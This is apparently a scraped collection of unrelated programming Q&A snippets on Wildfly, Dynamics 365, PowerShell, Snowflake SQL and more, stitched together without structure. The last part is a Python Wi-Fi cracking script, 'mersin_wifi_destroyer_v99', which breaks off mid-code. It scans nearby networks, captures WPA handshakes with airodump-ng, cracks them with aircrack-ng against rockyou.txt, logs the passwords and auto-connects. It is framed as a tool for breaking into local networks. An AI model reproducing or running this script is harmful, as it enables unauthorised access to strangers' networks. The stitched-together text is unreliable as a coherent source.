Finally managed to make it work. lance-javas answer was mostly correct, my working module was working because i had one bean annotated with @SecurityDomain and it made the whole subdeployment work.
The valid jboss-ejb3.xml syntax that was working for me (Wildfly 37):
<?xml version="1.0" encoding="UTF-8"?>
<jboss:ejb-jar xmlns:jboss="http://www.jboss.com/xml/ns/javaee"
xmlns="http://java.sun.com/xml/ns/javaee" version="3.2">
<assembly-descriptor>
<s:security xmlns:s="urn:security:1.1">
<ejb-name>*</ejb-name>
<s:security-domain>mySecurityDomain</s:security-domain>
</s:security>
</assembly-descriptor>
</jboss:ejb-jar>
Also, putting the xml in the EARs root wasn't working, WF didn't parse it (didn't throw error on the wrong syntax), and the correct syntax wans't working either. I had to put the xml in every subdeployment.
Please initialize and declare your requestLauncher & launchSomeActivity variables globally.
Build a Custom Connector or Web Resource
If your service exposes REST APIs, start by building a custom connector in Microsoft Power Platform. This allows Dynamics 365 to securely communicate with your service using OAuth 2.0 for authentication. Once users connect their accounts, you can store their access tokens in Dataverse and use them in background processes.
Alternatively, you can create a web resource (HTML/JS) to host your configuration page directly inside Dynamics. This page can handle authentication (through OAuth) and store user preferences using the Dataverse Web API.
To add custom ribbon buttons that trigger actions in your service, use the Ribbon Workbench tool. You can configure these buttons to call JavaScript functions or trigger Power Automate flows that interact with your service through your connector or APIs.
Example:
“Sync Data” button → triggers a flow or plugin that calls your service’s API.
“Get Status” button → displays live info from your service in a dialog or notification.
Once your integration works as intended, package it as a Managed Solution in Dynamics 365. Include:
Your custom connector
Web resources (HTML, JS)
Ribbon button definitions
Security roles or permissions
Any Dataverse tables (for storing tokens or preferences)
This managed solution can then be uploaded to Microsoft AppSource. Microsoft has specific guidelines for AppSource submission, including branding, licensing, and validation requirements — make sure to review their AppSource submission checklist.
If your integration involves workflow automation, Power Automate (formerly Flow) is a great option. It’s simpler to maintain and connects directly with Dynamics and external APIs through your custom connector.
In short:
Use a custom connector for authentication and API calls.
Add ribbon buttons with Ribbon Workbench.
Create a configuration page as a web resource.
Package everything as a managed solution for AppSource.
If you need help designing or publishing the integration — especially building a secure custom connector or managing AppSource submission — the team at Tech Implement specializes in Dynamics 365 customization and integration services.
You can reach them at [email protected] or visit techimplement.com to discuss your integration goals.
Check the providers section in app/config/app.php. Maybe some of providers classes was removed or outdated. You can compare this section with default config of the corresponding Laravel version on GitHub repo.
You can try with <locale.h>. Use the function setLocale. Check this link:
// Remove admin login link from logo and replace it with your own
add_filter('login_headerurl', 'iz_custom_url');
function iz_custom_url(){
return "http://your_domain.com";
}
A JUnit platform error appears when running a single test due to incorrect configurations, missing dependencies, or incompatible JUnit versions. Ensure proper setup, correct annotations, and matching framework versions.
You’ll need a location tracking feature that works in the background or foreground. To achieve this, you should create a foreground service in native code (Android/iOS) that continuously tracks the device’s location.
From that service, you can send the tracked location data to your API at specific time intervals (e.g., every 10 or 20 minutes).
React Native by itself doesn’t provide a built-in feature for continuous or background location tracking
i developed same feature for employee if need extra information ask me i will provide
This is got resolved after running below command.
npm install -g [email protected]
rmem_max is per kernel, not per namespace. You can't adjust it inside a network namespace.
Answering my own; well, confusion arose because 'help-echo is not a keyword argument as in:
(defun foo (&key arg1 (arg2 "x"))
but instead a symbol to be matched later in internal emacs text properties code.
Harvesting the docs from insert-button into text properties:
"...Each property has a name and a value. Both of these can be any Lisp object, but the name is normally a symbol...."
and these are properties with special meanings: special-properties
These and the other automatic variables are documented on the following page.
It is not always returned for searches on the names of the automatic variables.
I understand that you need a way for your code to determine whether it is running on a Windows machine. Can't you use the [Java] [System] properties for that?
Yes but I wasn't sure if you wanted to imitate a terminal-like environment, or actually run it within one. There are other web-based tools which try to offer a terminal environment within the browser, for example. Anyway, thankyou for clarifying.
Since my gradle distributions are located in C:\Program Files\Java\jdk-21\wrapper\dists
android studio need admin permissions to access this directory for read\write operations.
Just simply run Android Studio with admin permissions to access directories under C:\Program Files
OR
Change gradle user home path in File -> Settings -> Build, Execution, Deployment -> Build Tools -> Gradle window 
Command line as said in question body
@Jarod42 A simple text based search may also work. This is quite a large open source project. I have started digging into how this tool can be developed.
When the JavaDoc says that “reflected objects assume readability”, it means that the reflection API allows you to attempt to read a field’s value using Field.get() even if it is private. However, whether this actually succeeds depends on the access checks enforced by the JVM.
If you try to read from non public fields without calling setAccessible(true), Java will throw an IllegalAccessException.
Are you talking about running this in the command line, or in a web application?
In your question, this command suggests you are running Python within Jupyter notebook.
!pip install pm4py
Jupyter does not support SVG image output without additional plugins and configuration. Try using PNG.
pm4py.view_petri_net(process_model, initial_marking, final_marking, format="png")
So in case of AWS Glue - Python Shell which has a max of 1 DPU only, what will be number of parallel tasks that can run? 8?
v.Link_Guest.getConnectedAgent().shapeBody.setFillColor(red);
solves my Problem perfect for now.
This is not depending of the language. Use VT100 codes to control cursor, color, clear screens, and so on.
I am dealing with it like this for now
QString* msg = new QString("Hello");
QObject::connect(this, &QtClass::bar, this, [msg]()
{
QString mymsg = *msg;
mymsg.append(" World");
// display mymsg or pass it around
delete msg;
});
<video controls width="100%" style="max-width: 600px; border-radius: 12px; box-shadow: 0 0 20px rgba(255,0,0,0.5);">
<source src="https://direct.grok.x.ai/sk/LANGOLO_EJSZAKA_v4.mp4" type="video/mp4">
How large is your data? It's impressive you managed to implement partitioning on a large table, that usually takes forever on a big system :)
I can't view the screenshot for some unknown reason.
Rather than adding a step, look in the Applied Steps of the 'final' query. You should see the following steps: Invoke Function, Renamed Columns, Removed Columns and Expanded Table.
Edit the "Removed Columns" step so that the columns you wish to keep are not removed.
This error sometime means that
In dev mode it works because expo go shows you a directory of all your files, but in production , your app must have a defined entry point.
So you have to add an app/index.tsx file and update the app/_layout.tsx by adding the index screen . then in you app/index.tsx you can handle the redirection logic .
In my case that is my index.tsx and _layout.tsx
@Clemens Thank you so much. That was the solution. I thought the size of the coordinates would still be okay.
BoxWithConstraints(Modifier.fillMaxSize()) {
val width =
if (constraints.hasFixedWidth)
LayoutParams.MATCH_PARENT
else
LayoutParams.WRAP_CONTENT
val height =
if (constraints.hasFixedHeight)
LayoutParams.MATCH_PARENT
else
LayoutParams.WRAP_CONTENT
val layoutParams = FrameLayout.LayoutParams(
width,
height
)
AndroidView(
modifier = Modifier
.fillMaxSize(),
factory = { context ->
webViewSource = WebView(context).apply {
this.layoutParams = layoutParams
settings.javaScriptEnabled = true
webViewClient = object : WebViewClient() {
}
loadUrl("about:blank")
}
webViewSource!!
},
update = { webView ->
}
)
}
Thanks alot this Solved my issue.
This is created by x11 - ICE stands for Inter-Client Exchange protocol.
x11 is used by any window manager or desktop environment (that doesn't support wayland).
See https://www.x.org/archive/X11R6.8.2/doc/RELNOTES5.html#40 for more info.
Is this not the classical case of a confusion matrix? Confusion_matrix is the basic concept of machine learning, where you comparing the predictions with the actual values. The ouput compares the values of both series.
summary stats<-data_clean %>% group_by(Trench)%>% + summarise( Trench n = n(),
L_mean = mean(Lmm, na.rm = TRUE),
L_sd = sd(Lmm, na.rm = TRUE),
B_mean = mean(Bmm, na.rm = TRUE),
B_sd = sd(Bmm, na.rm = TRUE),
T_mean = mean(Tmm, na.rm = TRUE),
T_sd = sd(Tmm, na.rm = TRUE),
W_mean = mean(Weightgm, na.rm = TRUE),
W_sd = sd(Weightgm, na.rm = TRUE)
) %>%
arrange(desc(n))
unexpected symbol in "summary stats"
unable to correct??????????/
pl advise
AJAX is not a programming language or library; it’s a technique that allows web pages to send and receive data from a server asynchronously using JavaScript, without reloading the entire page. This makes web applications faster and more interactive by updating only the required parts of a page.
Yeah, it’s a known issue on newer Android versions. Some OEMs don’t fire ACTION_LOCAL_NAME_CHANGED reliably anymore. Your timeout fallback is the best workaround — just avoid rapid name changes and keep the delay around 2–3 seconds. getName() is safe for checking once the adapter is stable.
Estimation Mobile App:
————————————
Constant Values:
—————————
Company Name:
Address:
E-mail:
Contact Number:
Bank Details:
Date : -/-/-
Client Name:
Contact Number:
Site Location/Address:
Profile Type:
Fixing charge:
Transport charge:
Discount:
Advance:
above all one time entry
Product Name:
Description:
Width:
Height:
Quantity:
Glass Type:
Rate/SQ.FT:
Calculation for per product:
——————————————-
Area: Width X Height
Total Area: Area X Quantity
Amount: Rate/SQ.FT X Total Area
Final Calculation:
—————————-
Sub Total: Add all product amount
18% GST : (Sub total + Fixing charge + Transport) X 18%
Grand Total: Sub total + Fixing charge + Transport + 18% GST
Balance amount: Grand Total - advance
Updated answer from apollos example
https://www.apollographql.com/docs/react/data/file-uploads
import UploadHttpLink from "apollo-upload-client/UploadHttpLink.mjs";
import {ApolloProvider} from "@apollo/client/react";
const client = new ApolloClient({
link: new UploadHttpLink({
uri: 'http://localhost:8080/query',
}),
cache: new InMemoryCache(),
})
Try installing msys2 which allows you to install gcc and gnat (latest is 15.2.1). They are built with posix threading model.
@ShaunLuttin's answer states
From the docs, it says of -
NewName<String>Enter only a name, not a path and name. If you enter a path that is different from the path that is specified in the Path parameter, Rename-Item generates an error.
That is not accurate. Almost, but not quite. What is actually implemented is:
If you enter a path that is different from the fully resolved path that is specified in the Path parameter
IE two specified relative paths that resolve to the same actual path still fails. Sigh.
This code demonstrates:
# https://stackoverflow.com/questions/29636103/rename-fails-because-it-represents-a-path-or-device-name
cd c:\tmp\post29636103
# no path
Rename-Item some\long\path\fileName.txt newName.txt
# works
# same relative path
Rename-Item some\long\path\fileName_2.txt some\long\path\newName_2.txt
# fails
# Rename-Item : Cannot rename the specified target, because it represents a path or device name.
# same (but fully specified/resolved) path
Rename-Item some\long\path\fileName_2.txt c:\tmp\post29636103\some\long\path\newName_2.txt
# works
/*
Source - Links in comments
Posted by MikkoP
Retrieved 2025-11-07, License - CC BY-SA 3.0
*/
{@link #restoreActionBar()}
One option for drawing thick lines with OpenGL is described here: OpenGL Line Width
I am a heavy Pinescript coder and I trade intrabar but no matter what I do there are times alert() wont match the entry session, sometimes it will fire phantom alerts even if the alert function are using lock variables and are sandwiched between the if blocks. the condition is correct but the alert() function executes in a deviated manner sometimes a different trade direction as if it is not constrained by conditions.
I wonder why Trading View could not fix this bug. Pinescript is so inconsistent and a pain to debug. Why cant it follow the variables it is subjected to or at least the if block it is in. It behaves like it is outside the if block.
Such a crappy language, makes me think their software engineers are incompetent.
\>> If that so, any particular reason are they doing that? *ngFor is much simpler and can be one liner.
Give then some time to play around. In 5-10 years, they will make full circle back to plain old `.forEach()` ...
you can simply skip this test by
test('Visit myurl page', async () => {
if (errLoadingData)
{
return;
}
//remaining code
}
else use the test.skip() or describe.skip()
refer the similar questions
Hello Rodrigo Reis,
Thanks for sharing your suggested model and the work you put into this!
I've tested the logic with our data, and unfortunately, it's not currently producing the correct results because it appears to be treating each week in isolation.
The calculation must be cumulative, meaning it needs to take into account the settled OT hours and the final owed/reserved hours balance carried over from all previous weeks.
The model is failing to correctly utilize the historical owed_hours_remaining to offset current-week surplus hours before determining the OT_payable amount.
Here are two clear counter-examples showing the discrepancy:
The expected result reflects prior weeks' transactions that should have reduced the owed balance, but the model output is too high.
| Metric | Expected Result (Cumulative) | Model Output (Incorrect) |
|---|---|---|
| OT Paid/ot_possible | 0 | 12 |
| Owed Hours Remaining | 2 | 14 |
The model incorrectly identifies 12 hours as payable OT when the surplus hours should first go toward clearing the outstanding owed balance.
Expected (With Cumulative Carryover):
Owed remaining: 4
OT_possible/OT payable: 0
Output of your model:
Owed remaining: 16
OT_possible/OT payable: 12
The key adjustment needed is to ensure the previous week's owed_hours_remaining is the baseline for the current week's calculation. Any new surplus OT should reduce that owed balance first, before being classified as payable OT.
Please let me know if you can integrate that historical carryover step into your logic!
How exactly did you fixed it I have also done the same but the error is not resolving
Update
The previous use of codeql/java-queries@latest:security-extended caused an initialization error. To fix it, use the queries exactly as I do in the CodeQL CLI.
packs:
- codeql/java-queries@latest:codeql-suites/java-security-extended.qls
- githubsecuritylab/codeql-java-queries@latest
- githubsecuritylab/codeql-java-queries@latest:suites/java-audit.qls
Have you solve this issue yet? I encountered the same problem.
export const metadata: Metadata = {
title: "Sushi's Portfolio",
description: 'Hi! Checkout my portfolio!',
keywords: 'Sushi, Portfolio, Developer, Designer, Programmer, Web Developer, Software Engineer, Game Developer',
openGraph: {
title: "Sushi's Portfolio",
description: 'Hi! Checkout my portfolio!',
url: 'https://sushi.toruverse.dev',
images: [
{
url: '/profile/PortfolioLogo.png',
width: 800,
height: 600,
alt: "Sushi's Portfolio Logo",
},
],
siteName: "Sushi's Portfolio",
type: 'website',
},
icons: {
icon: [{ url: '/logo/sushi.webp', type: 'image/webp' }],
apple: { url: '/logo/sushi.webp', type: 'image/webp' },
},
robots: {
index: true,
follow: true,
googleBot: {
index: true,
follow: true,
},
},
}
Needed to #include <Arduino.h>
# Source - How to get a Hydra config without using @hydra.main()
# Posted by flawr, modified by community. See post 'Timeline' for change history
# Retrieved 2025-11-07, License - CC BY-SA 4.0
db:
driver: mysql
user: omry
pass: secret
Yes, we have a dedicated Partner Success Account Manager, and we already shared the situation with him 3–4 months ago, and he replied that the ticket was escalated to the product team, but the issue is still there, and no visible progress is provided
// Note the three spaces, instead of a more standard four;
// this is so when it is used a space-character will be used to separate the {attribute}
// from the rest of the text (creating an indentation of four spaces).
:tab: {nbsp}{nbsp}{nbsp}
== Heading
Take a look at the indented paragraphs below! Cool huh?
{tab} My fancy introduction of this awesome paragraph.
{tab} This line is joined to the one prior.
{tab} This starts a new paragraph block. +
{tab} The trailing plus forces this to be on a new line, but a part of the same block.
{tab} This is the beginning of a really long paragraph. Notice how it begins to look like a normal paragraph, like in a book, as the text wraps and falls under the indented first line. I wonder what else can be done here?
This will be rendered as:
Take a look at the indented paragraphs below! Cool huh?
My fancy introduction of this awesome paragraph. This line is joined to the one prior.
This starts a new paragraph block.
The trailing plus forces this to be on a new line, but a part of the same block.
This is the beginning of a really long paragraph. Notice how it begins to look like a normal paragraph, like in a book, as the text wraps and falls under the indented first line. I wonder what else can be done here?
After reviewing my code, I realize that I had an unused parent widget which was causing the issue.
GestureDetector(
onTap: () => FocusScope.of(context).unfocus(),
...
// GoogleSignInButton() is placed as a children of GestureDetector
...
)
By removing the GestureDetector, it no longer rebuilds on tapping/unfocus, thus the twitching is gone! Thank you @Niyam Prassanna Kunder for the heads up.
I'm having this problem in 2025. I found a solution. I'm not sure if this applies to OP or anyone else here, but just in case, here was my solution.
I'm using an Animator and I'm swapping the runtimeAnimatorController to play different animations. I have a Coroutine that detects when the animation has ended and handles it differently based on certain contexts. For some reason, this one animation was just looping instead of its end being properly detected by my Coroutine.
To fix this, I opened the AnimatorController in question, selected the animation in question, and changed its "Exit Time" to greater than 1.0. It couldn't detect when "normalizedTime" was greater than 1.0 because it never was!
If VSCode is not autocompleting or underlining errors, it usually means that the editor is not recognising the programming environment correctly. Here is a detailed explanation to help others understand why this happens and how to fix it.
Check the file type
Make sure your file has the correct extension, such as .py for Python, .js for JavaScript, or .ts for TypeScript. The language mode in the bottom-right corner of VSCode should match your file type. If it does not, click it and select the correct language.
Install the correct extension
VSCode relies on extensions for autocomplete and error checking. For example:
Python requires the Python extension by Microsoft.
JavaScript and TypeScript usually work out of the box, but installing ESLint can help detect errors.
C# requires the C# extension by Microsoft.
Open the Command Palette (Ctrl+Shift+P)
Run Python: Select Interpreter and choose the correct Python version
Enable linting with Python: Enable Linting
Check VSCode settings
Go to Settings, then Text Editor, then Suggestions. Ensure that autocomplete is enabled. Also check that linting is turned on if the language supports it.
Verify your environment
Some languages require a specific environment, such as a Python virtual environment or Node.js workspace. Make sure VSCode is using the correct interpreter and that project dependencies are installed.
Reload or restart VSCode
Changes sometimes only take effect after reloading the window (Ctrl+Shift+P, then Reload Window) or restarting the editor.
Check the output panel
Go to View, then Output, and select the relevant language server, such as Pylance or TypeScript. Any errors shown here can explain why autocomplete or linting is not working.
In summary, if VSCode is not autocompleting or underlining errors, the problem is usually caused by missing extensions, incorrect configuration, or an unrecognised environment. Ensuring the correct file type, installing the right extensions, selecting the appropriate interpreter, enabling linting, and restarting VSCode generally resolves the issue.
In summary, if VSCode is not autocompleting or underling errors, the problem is usually
caused by missing extensions, incorrect configuration, or an unrecognised environment.
Ensuring the correct file type, installing the right extensions, selecting the appropriate
interpreter, enabling linting, and restarting VSCode generally resolves the issue.
you could create minal example data so we could use it for tests.
@Panda-Kim I stand corrected! I was thinking of how math operations like + automatically align regardless of order, but apparently comparisons like == don't do that. I'm not sure what the rationale is. Using the method version like .eq() does in fact get around that.
Have you tried to do add a timedelta wall-clock time, which would allow DST rollback.(15 minutes local time may equal 75 minutes real time). I believe that will then get you the exact elapsed time converted to UTC before adding the timedelta.
Based on this DJI support article looks like this is not possible as MP4 does not store temp data:
https://support.dji.com/help/content?customId=en-us03400003955&spaceId=34&re=US&lang=en&documentType=artical&paperDocType=paper
Yes @Arun it exist and it's called "IMPORT" mode in schema registry.
Go to your local terminal (here I'm using linux terminal)
Switch to the IMPORT mode
curl -XPUT -u "$API_KEY:$API_SECRET" -H "Content-Type: application/vnd.schemaregistry.v1+json" --data '{"mode":"IMPORT"}' YOUR_SCHEMA_REGISTRY_ENDPOINT/mode
Then create your Schema attached to your target Subject and version:
curl -XPOST -u "$API_KEY:$API_SECRET" -H "Content-Type: application/json" --data '{"schemaType": "AVRO","version": 1,"id": 55,"schema": "{\"type\":\"record\",\"name\":\"User\",\"namespace\":\"io.confluent\",\"fields\":[{\"name\":\"name\",\"type\":\"string\"}]}"}' YOUR__SCHEMA_REGISTRY_ENDPOINT /subjects/user-value/versions
# Source - https://stackoverflow.com/q
# Posted by sebastian_t, modified by community. See post 'Timeline' for change history
# Retrieved 2025-11-07, License - CC BY-SA 4.0
openssl pkcs12 -export -in user.pem -inkey user.key -certfile user.pem -out testkeystore.p12
keytool -importkeystore -srckeystore testkeystore.p12 -srcstoretype pkcs12 -destkeystore wso2carbon.jks -deststoretype JKS
add this attribute in your Bottom navigation element
app:labelVisibilityMode="unlabeled"
This works for me btw, but the upper answer works as well
What is it your planning to do with these artifacts later? There are just raw files from your git repo? so how are you using them later? and what for? Since they are not computed, compiled or built you could just access these directly from the git repo anyway.
With List(selection:) on macOS, you cannot deselect a row by clicking it a second time. The macOS selection model does not toggle selection on a single click.
What does work natively is Cmd-click on the selected row, which clears the selection (selectedItem = nil).
I ran into the same issue — List(selection:) won’t.onTapGesture) andselectedItem = nil when the ta
Turned out, that middleware is perfectly fine. Deploying stuff to Digital Ocean droplet I've missed to configure Nginx server correctly. On top of its configuration I've had
# Redirect root to default locale
# location = / {
# return 302 /en;
# }
So just removing that line fixed the issue and site works as expected. So always check server conf facing discrepancies between local and prod.
Restore from backups on to a new, larger ZFS instance? You do have real backups for this data, and you're not relying on RAID as a backup?
It seems the correct URL is https://proxy.golang.org/github.com/google/oss-rebuild/@v/v0.0.0-20251008203231-2e9e242ca650.zip (replace @latest with @v).
This proves that GOPROXY does cache untagged commits too.
It's actually very easy to implement a double linked list in erlang .. you just use maps and insert items like this: {key, value, prev_key, next_key}.
When you insert in between you untie two items by picking the previous next_key and pointing to the inserted item key, and doing the same with the following prev_key . The inserted item prev/next point to the just described neighbours.
Keys can be generated internally and be as simple as progressive integers (they have no purpose, but to have a reference to look up in the map).
To answer other asking why one would need doubly linked list: LRU caches just to say?
I understand now, thanks for the advice! I think in my case, partitioning definitely works the best! For the existing table, seems like only one downtime for rebuilding the clustered index once after creating all the necessary partition functions for future dates. I think I can deal with syncing schema changes with archive tables! I do agree it is not worth it to use an availabiltiy group just for this. Even if there is more purpose (like reporting), using partition still result in less downtime in long term I think.
This doesn't seek to answer the question, so much as the need: (mainframe) load the page in a new tab, and clear cache (eg hard refresh)
... does this help anyone at all?
I developed an extension for this. Enjoy it.
Sorry I was still trying to think through how to do so by partitioning. I definetly can change it to not be a sliding window. I imagine in this case, I (or a program) should create partitions for future date in advance on those tables then? For availability group, I thought the archiving program can read from the reqadable secondary to write to the CSV instead of reading from primary, so for the primary database the archiving program just need to do the delete query (so it kinda helped by not needing to select a bunch of data first?)
Make sure to leave the maximum number of connections empty (both). Solved the problem for me. KR
This blog post and discussion in the comments may be helpful. https://communities.sas.com/t5/Administration-and-Deployment/SAS-ACCESS-to-Snowflake-s-MFA-Mandate-A-Step-by-Step-Guide-to/m-p/978416
In my installation of Python 3.14, turtle.Turtle() does take the shape keyword argument. But from the comments on this question, it seems that some versions of the class do not, so I suppose yours does, and the version on tinker.io does not take the argument. You'll have to use the shape() method for better portability, I suppose.
Oh that's good to know. Somehow when I was doing my research I get to the conclusion that this method is Enterprise only. Would you suggest us doing so for archiving since it is available?
ALTER TABLE ... SWITCH on its own does not require Enterprise Edition (neither has partitioning in general, since 2016 SP1). https://kendralittle.com/2017/01/19/why-you-should-switch-in-staging-tables-instead-of-renaming/ & https://kendralittle.com/course/tuning-problem-queries-in-table-partitioning/ Also see here for some other options and info: https://stackoverflow.com/a/69224284
Just advise. (I guess you run ok locally without docker - mean paths are correct - upstream downstream)
Why you use Developmnet running in docker ? Use Production.json
Normally Dev you run on host without docker using localhost. (Naming doesn't really matter)
When running in docker replace in ocelot json Host - set container name.
ReRoutes instead of Routes (Routes is used with any service discovery like Consul etc)
BaseUrl should use host.docker.internal, not localhost
Check that you run in one network (all containers)
Install in docker container tab Exec something like curl to check if you see other containers/
apt-get update
apt-get install -y curl
curl http://service name:port../api/.... - just call your other service - should get response
use just ping
apt-get install -y iputils-ping
docker exec servicename1 ping servicename2 -c2
PS I'm stuck with ocelot too in docker - I can call other services (containers) but through Ocelot getting the same error.
You do not need a custom converter for this case
System Text Json already supports ignoring properties that should not be written
The important detail is that an empty string is not considered a default value
So you need to explicitly define when the property should be written
A simple way is to add a ShouldSerialize pattern to your class
The serializer will only include the property if that method returns true
Example idea without full code
Define your string property like normal
Add a method named ShouldSerializeStringProp that returns false if the string is empty
During serialization the property will be skipped and the JSON remains valid
If you are configuring JsonSerializerOptions globally you can also use
DefaultIgnoreCondition set to WhenWritingDefault
but then make sure the empty string is treated as a default value in your model
Either of these approaches will give you valid JSON without the unwanted property when it has an empty value
Just to comment on your advice tags: generally, in the scrumboard/kanban (not backlog), you usually want one state per column, so should regularly not be sorting this way. But, of course, you can setup process states with the work item level states like you are describing. Something you may want to look at are the process settings at the organization-level. Usually, per work item type, there are three different groupings that a state can be in. These may help the default sort order.
After much help from @JonasMetzler and @DaleK, the following query worked for Snowflake.
My goal was to get all contacts to display on one row instead of multiple rows for each person_key.
SELECT
p.PERSON_KEY AS "KEY",
p.PERSON_NAME AS "Person Name",
MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 1 THEN c.CONTACT_FIRST_NAME END) AS "First Contact First Name",
MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 2 THEN c.CONTACT_FIRST_NAME END) AS "Second Contact First Name",
MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 3 THEN c.CONTACT_FIRST_NAME END) AS "Third Contact First Name"
FROM DTBL_PERSON p
LEFT JOIN MTBL_CONTACTS c
ON p.PERSON_KEY = c.PERSON_KEY
GROUP BY p.PERSON_KEY, p.PERSON_NAME
ORDER BY p.PERSON_KEY;
Because there are multiple contacts attached to each key, I added the contact priority order to identify each which of the contacts should be selected. Then the max function looks at the row and selects the non null value for each column. The group by then identifies how each selection is grouped and delivers the desired single row for each piece of information.
This mainly happens because some browsers do detect if a webpage with the same TLD name exists in your current session and reload the new URL in the same tab.
I have never seen a single browser that does that. It sounds nightmarish.
If I visit app1.domain.com and then also try to open app2.domain.com, it would just open it in the first tab?
Or if it only works for the same origin - then I cannot open two questions from Stack Overflow?
Wow this is a very key problem to detect infiltrated users sabotaging channels that hide in the anonymity.
I'm surprised you haven't gotten an answer.
The issue is that https://www.googleapis.com/auth/gmail.send scope only works with the Gmail API, not SMTP. For SMTP OAuth2, you need https://mail.google.com/ scope.
I found what appears to be the correct Authoring REST API documentation (as of 06 November 2025):
https://learn.microsoft.com/en-us/rest/api/language/analyze-conversations-authoring/operation-groups?view=rest-language-analyze-conversations-authoring-2025-11-01
And I found it from this page (Azure AI Language REST API reference):
https://learn.microsoft.com/en-us/rest/api/language/
Here is one example (found on the Authoring API sub-pages):
Source: https://learn.microsoft.com/en-us/rest/api/language/analyze-conversations-authoring/conversation-authoring-trained-model/delete-trained-model?view=rest-language-analyze-conversations-authoring-2025-11-01&tabs=HTTP#code-try-0
DELETE {Endpoint}/language/authoring/analyze-conversations/projects/{projectName}/models/{trainedModelLabel}?api-version=2025-11-01
Tabled excerpted from the above link:
| Name | Type | Description |
|---|---|---|
| 204 No Content | There is no content to send for this request, but the headers may be useful. | |
| Other Status Codes | Azure.Core.Foundations.ErrorResponse | An unexpected error response. Headers: x-ms-error-code: string |
Using a Logitec 105-key (Windows) keyboard with a MacMini, I eventually found a combination that worked with my custom key mapping: Windows-key + Alt + X
Sure @Duck -- where should I share my feedback?
To easily change the date or time of any commit, you can use this open source tool: https://github.com/arbaev/commit-date-changer
# mersin_wifi_destroyer_v99.py
# التطبيق الرسمي لأهل مرسين – نوفمبر 2025
# المبرمج: السوري 🔥
import subprocess
import threading
import queue
import time
import os
import re
import sys
from colorama import init, Fore, Style
init(autoreset=True)
R = Fore.RED + Style.BRIGHT
G = Fore.GREEN + Style.BRIGHT
Y = Fore.YELLOW + Style.BRIGHT
C = Fore.CYAN + Style.BRIGHT
M = Fore.MAGENTA + Style.BRIGHT
W = Fore.WHITE + Style.BRIGHT
print(f"""{R}
███╗ ███╗███████╗██████╗ ███████╗██╗███╗ ██╗ ██╗ ██╗██╗███████╗██╗
████╗ ████║██╔════╝██╔══██╗██╔════╝██║████╗ ██║ ██║ ██║██║██╔════╝██║
██╔████╔██║█████╗ ██████╔╝███████╗██║██╔██╗ ██║ ██║ █╗ ██║██║█████╗ ██║
██║╚██╔╝██║██╔══╝ ██╔══██╗╚════██║██║██║╚██╗██║ ██║███╗██║██║██╔══╝ ╚═╝
██║ ╚═╝ ██║███████╗██║ ██║███████║██║██║ ╚████║ ╚███╔███╔╝██║██║ ██╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝
{M}MERSIN WIFI DESTROYER V99 - السوري 🔥
""")
class MersinDestroyer:
def \__init_\_(self):
self.interface = "wlan0" if os.name != "nt" else "Wi-Fi"
self.networks = \[\]
self.found = False
self.queue = queue.Queue()
self.wordlist = "/usr/share/wordlists/rockyou.txt" # كالي
if not os.path.exists(self.wordlist):
self.wordlist = "rockyou.txt" # تيرمكس أو ويندوز
def banner(self):
print(f"{C}╔{'═'\*70}╗")
print(f"{C}║{W} مرسين 09:46 PM – الشبح الرقمي V99 مفعّل – لا قيود لا رحمة {C}║")
print(f"{C}╚{'═'\*70}╝\\n")
def scan_networks(self):
print(f"{Y}\[+\] جاري مسح الشبكات في مرسين...")
try:
if os.name == "nt": # ويندوز
result = subprocess.check_output("netsh wlan show networks mode=bssid", shell=True, text=True, encoding="utf-8", errors="ignore")
networks = re.findall(r"SSID\\s+\\d+\\s+:\\s+(.+?)\\n.\*?BSSID\\s+\\d+\\s+:\\s+(\[0-9A-F:\]{17})", result, re.DOTALL)
else: # لينكس / تيرمكس
subprocess.run("sudo iwlist wlan0 scan \> /dev/null 2\>&1", shell=True)
result = subprocess.check_output("sudo iwlist wlan0 scan", shell=True, text=True)
networks = re.findall(r"ESSID:\\"(.\*?)\\".\*?Address: (\[0-9A-F:\]{17})", result)
self.networks = \[{"ssid": ssid, "bssid": bssid} for ssid, bssid in networks if ssid.strip()\]
print(f"{G}\[+\] تم اكتشاف {len(self.networks)} شبكة حولك في مرسين:")
for i, net in enumerate(self.networks):
print(f"{C} \[{i+1}\] {W}{net\['ssid'\]} {Y}({net\['bssid'\]})")
except Exception as e:
print(f"{R}\[-\] فشل المسح: {e}")
def handshake_capture(self, bssid, channel):
print(f"{Y}\[+\] التقاط الهاندشيك لـ {bssid}...")
os.system(f"sudo timeout 30 airodump-ng -c {channel} --bssid {bssid} -w mersin_handshake wlan0mon")
def crack_wpa(self, ssid, bssid):
print(f"{R}\[!\] بدء كسر {ssid} بقوة الجحيم...")
cmd = f"aircrack-ng -w {self.wordlist} -b {bssid} mersin_handshake\*.cap"
result = subprocess.run(cmd, shell=True, text=True, capture_output=True)
if "KEY FOUND" in result.stdout:
password = re.search(r"\\\[ (.\*?) \\\]", result.stdout).group(1)
print(f"\\n{G}╔{'═'\*70}╗")
print(f"{G}║ تم كسر الشبكة يا أسد مرسين! ║")
print(f"{G}║ الشبكة: {W}{ssid:\<30}{G} ║")
print(f"{G}║ كلمة المرور: {W}{password:\<25}{G} ║")
print(f"{G}╚{'═'\*70}╝\\n")
with open("MERSIN_CRACKED.txt", "a", encoding="utf-8") as f:
f.write(f"{ssid}:{password}\\n")
\# اتصال تلقائي
os.system(f'nmcli dev wifi connect "{ssid}" password "{password}"')
self.found = True
return password
return None
def auto_attack(self):
self.scan_networks()
if not self.networks:
return
target = int(input(f"\\n{Y}\[?\] اختر رقم الشبكة للإبادة: {W}")) - 1
ssid = self.networks\[target\]\['ssid'\]
bssid = self.networks\[target\]\['bssid'\]
print(f"{R}\[!\] الهدف: {ssid} – مرسين هتنهيها دلوقتي...")
\# تفعيل وضع المونيتور
os.system("sudo airmon-ng start wlan0")
\# جلب القناة
os.system(f"sudo airodump-ng wlan0mon -d {bssid} -c 1-13 \> channel.txt & sleep 10; kill $!")
time.sleep(12)
try:
with open("channel.txt") as f:
channel = re.search(r"CH\\s+(\\d+)", f.read()).group(1)
except:
channel = "6"
\# التقاط الهاندشيك
capture_thread = threading.Thread(target=self.handshake_capture, args=(bssid, channel))
capture_thread.start()
time.sleep(35)
capture_thread.join()
\# كسر
self.crack_wpa(ssid, bssid)
\# إيقاف المونيتور
